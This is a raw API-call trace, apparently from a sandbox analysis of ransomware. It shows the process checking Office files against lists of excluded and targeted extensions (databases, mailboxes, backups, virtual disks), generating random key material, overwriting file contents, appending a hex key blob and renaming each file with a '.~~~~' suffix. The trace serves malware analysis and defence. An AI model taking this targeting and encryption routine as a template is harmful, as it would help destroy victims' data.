	[0146.401] lstrlenW (lpString=".DBS") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DBS") returned 0x0
	[0146.401] lstrlenW (lpString=".CKP") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".CKP") returned 0x0
	[0146.401] lstrlenW (lpString=".edb") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".edb") returned 0x0
	[0146.401] lstrlenW (lpString=".PST") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".PST") returned 0x0
	[0146.401] lstrlenW (lpString=".dbf") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dbf") returned 0x0
	[0146.401] lstrlenW (lpString=".SQL") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".SQL") returned 0x0
	[0146.401] lstrlenW (lpString=".pst") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".pst") returned 0x0
	[0146.402] lstrlenW (lpString=".dbv") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dbv") returned 0x0
	[0146.402] lstrlenW (lpString=".SDF") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".SDF") returned 0x0
	[0146.402] lstrlenW (lpString=".dtxs") returned 5
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dtxs") returned 0x0
	[0146.402] lstrlenW (lpString=".db3") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".db3") returned 0x0
	[0146.402] lstrlenW (lpString=".OST") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".OST") returned 0x0
	[0146.402] lstrlenW (lpString=".dbx") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dbx") returned 0x0
	[0146.402] lstrlenW (lpString=".DB3") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DB3") returned 0x0
	[0146.402] lstrlenW (lpString=".DAT") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DAT") returned 0x0
	[0146.402] lstrlenW (lpString=".VHDX") returned 5
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".VHDX") returned 0x0
	[0146.402] lstrlenW (lpString=".ndf") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".ndf") returned 0x0
	[0146.402] lstrlenW (lpString=".DB") returned 3
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DB") returned 0x0
	[0146.402] lstrlenW (lpString=".sql") returned 4
	[0146.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".sql") returned 0x0
	[0146.403] lstrlenW (lpString=".MYD") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".MYD") returned 0x0
	[0146.403] lstrlenW (lpString=".DBT") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DBT") returned 0x0
	[0146.403] lstrlenW (lpString=".ACCDB") returned 6
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.403] lstrlenW (lpString=".fdb") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".fdb") returned 0x0
	[0146.403] lstrlenW (lpString=".bak") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".bak") returned 0x0
	[0146.403] lstrlenW (lpString=".myd") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".myd") returned 0x0
	[0146.403] lstrlenW (lpString=".DTXS") returned 5
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DTXS") returned 0x0
	[0146.403] lstrlenW (lpString=".ckp") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".ckp") returned 0x0
	[0146.403] lstrlenW (lpString=".dbt") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dbt") returned 0x0
	[0146.403] lstrlenW (lpString=".db") returned 3
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".db") returned 0x0
	[0146.403] lstrlenW (lpString=".TXT") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".TXT") returned 0x0
	[0146.403] lstrlenW (lpString=".MDF") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".MDF") returned 0x0
	[0146.403] lstrlenW (lpString=".bdb") returned 4
	[0146.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".bdb") returned 0x0
	[0146.404] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.404] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0146.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.405] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.405] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26639553139) returned 1
	[0146.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0aba350, dwHighDateTime=0x1d60e1e)) 
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac4d8
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4d8 | out: hHeap=0x300000) returned 1
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d06a8
	[0146.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d06a8 | out: hHeap=0x300000) returned 1
	[0146.406] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.407] GetLastError () returned 0x0
	[0146.407] GetLastError () returned 0x0
	[0146.407] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.407] GetLastError () returned 0x0
	[0146.407] GetLastError () returned 0x0
	[0146.407] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x9380, lpOverlapped=0x0) returned 1
	[0146.410] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff6c80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.410] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x9380, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x9380, lpOverlapped=0x0) returned 1
	[0146.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.410] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.410] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.411] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.411] CloseHandle (hObject=0x104) returned 1
	[0146.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.411] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.~~~~")) returned 1
	[0146.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870858 | out: hHeap=0x300000) returned 1
	[0146.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.418] GetLastError () returned 0x0
	[0146.418] RtlWakeConditionVariable () returned 0x0
	[0146.418] GetCurrentThreadId () returned 0xaf0
	[0146.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".scr") returned 0x0
	[0146.418] lstrlenW (lpString=".cmd") returned 4
	[0146.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".cmd") returned 0x0
	[0146.418] lstrlenW (lpString=".dll") returned 4
	[0146.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dll") returned 0x0
	[0146.418] lstrlenW (lpString=".bat") returned 4
	[0146.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".bat") returned 0x0
	[0146.418] lstrlenW (lpString=".cpl") returned 4
	[0146.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".cpl") returned 0x0
	[0146.418] lstrlenW (lpString=".sys") returned 4
	[0146.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".sys") returned 0x0
	[0146.418] lstrlenW (lpString=".msc") returned 4
	[0146.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".msc") returned 0x0
	[0146.419] lstrlenW (lpString=".com") returned 4
	[0146.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".com") returned 0x0
	[0146.419] lstrlenW (lpString=".lnk") returned 4
	[0146.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".lnk") returned 0x0
	[0146.419] lstrlenW (lpString=".msp") returned 4
	[0146.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".msp") returned 0x0
	[0146.419] lstrlenW (lpString=".pif") returned 4
	[0146.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".pif") returned 0x0
	[0146.419] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0146.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.422] lstrlenW (lpString=".sqb") returned 4
	[0146.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".sqb") returned 0x0
	[0146.422] lstrlenW (lpString=".ost") returned 4
	[0146.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".ost") returned 0x0
	[0146.422] lstrlenW (lpString=".txt") returned 4
	[0146.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".txt") returned 0x0
	[0146.422] lstrlenW (lpString=".mdt") returned 4
	[0146.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".mdt") returned 0x0
	[0146.423] lstrlenW (lpString=".BDB") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".BDB") returned 0x0
	[0146.423] lstrlenW (lpString=".eql") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".eql") returned 0x0
	[0146.423] lstrlenW (lpString=".DBF") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DBF") returned 0x0
	[0146.423] lstrlenW (lpString=".EQL") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".EQL") returned 0x0
	[0146.423] lstrlenW (lpString=".FDB") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".FDB") returned 0x0
	[0146.423] lstrlenW (lpString=".EDB") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".EDB") returned 0x0
	[0146.423] lstrlenW (lpString=".DACPAC") returned 7
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DACPAC") returned 0x0
	[0146.423] lstrlenW (lpString=".VHD") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".VHD") returned 0x0
	[0146.423] lstrlenW (lpString=".DBV") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DBV") returned 0x0
	[0146.423] lstrlenW (lpString=".dacpac") returned 7
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dacpac") returned 0x0
	[0146.423] lstrlenW (lpString=".sdf") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".sdf") returned 0x0
	[0146.423] lstrlenW (lpString=".accdb") returned 6
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".accdb") returned 0x0
	[0146.423] lstrlenW (lpString=".DBX") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DBX") returned 0x0
	[0146.423] lstrlenW (lpString=".MDT") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".MDT") returned 0x0
	[0146.423] lstrlenW (lpString=".SQB") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".SQB") returned 0x0
	[0146.423] lstrlenW (lpString=".vhd") returned 4
	[0146.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".vhd") returned 0x0
	[0146.424] lstrlenW (lpString=".bac") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".bac") returned 0x0
	[0146.424] lstrlenW (lpString=".mdf") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".mdf") returned 0x0
	[0146.424] lstrlenW (lpString=".BAK") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".BAK") returned 0x0
	[0146.424] lstrlenW (lpString=".BAC") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".BAC") returned 0x0
	[0146.424] lstrlenW (lpString=".dbs") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dbs") returned 0x0
	[0146.424] lstrlenW (lpString=".vhdx") returned 5
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".vhdx") returned 0x0
	[0146.424] lstrlenW (lpString=".NDF") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".NDF") returned 0x0
	[0146.424] lstrlenW (lpString=".dat") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dat") returned 0x0
	[0146.424] lstrlenW (lpString=".DBS") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DBS") returned 0x0
	[0146.424] lstrlenW (lpString=".CKP") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".CKP") returned 0x0
	[0146.424] lstrlenW (lpString=".edb") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".edb") returned 0x0
	[0146.424] lstrlenW (lpString=".PST") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".PST") returned 0x0
	[0146.424] lstrlenW (lpString=".dbf") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dbf") returned 0x0
	[0146.424] lstrlenW (lpString=".SQL") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".SQL") returned 0x0
	[0146.424] lstrlenW (lpString=".pst") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".pst") returned 0x0
	[0146.424] lstrlenW (lpString=".dbv") returned 4
	[0146.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dbv") returned 0x0
	[0146.424] lstrlenW (lpString=".SDF") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".SDF") returned 0x0
	[0146.425] lstrlenW (lpString=".dtxs") returned 5
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dtxs") returned 0x0
	[0146.425] lstrlenW (lpString=".db3") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".db3") returned 0x0
	[0146.425] lstrlenW (lpString=".OST") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".OST") returned 0x0
	[0146.425] lstrlenW (lpString=".dbx") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dbx") returned 0x0
	[0146.425] lstrlenW (lpString=".DB3") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DB3") returned 0x0
	[0146.425] lstrlenW (lpString=".DAT") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DAT") returned 0x0
	[0146.425] lstrlenW (lpString=".VHDX") returned 5
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".VHDX") returned 0x0
	[0146.425] lstrlenW (lpString=".ndf") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".ndf") returned 0x0
	[0146.425] lstrlenW (lpString=".DB") returned 3
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DB") returned 0x0
	[0146.425] lstrlenW (lpString=".sql") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".sql") returned 0x0
	[0146.425] lstrlenW (lpString=".MYD") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".MYD") returned 0x0
	[0146.425] lstrlenW (lpString=".DBT") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DBT") returned 0x0
	[0146.425] lstrlenW (lpString=".ACCDB") returned 6
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".ACCDB") returned 0x0
	[0146.425] lstrlenW (lpString=".fdb") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".fdb") returned 0x0
	[0146.425] lstrlenW (lpString=".bak") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".bak") returned 0x0
	[0146.425] lstrlenW (lpString=".myd") returned 4
	[0146.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".myd") returned 0x0
	[0146.425] lstrlenW (lpString=".DTXS") returned 5
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".DTXS") returned 0x0
	[0146.426] lstrlenW (lpString=".ckp") returned 4
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".ckp") returned 0x0
	[0146.426] lstrlenW (lpString=".dbt") returned 4
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".dbt") returned 0x0
	[0146.426] lstrlenW (lpString=".db") returned 3
	[0146.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM", lpSrch=".db") returned 0x0
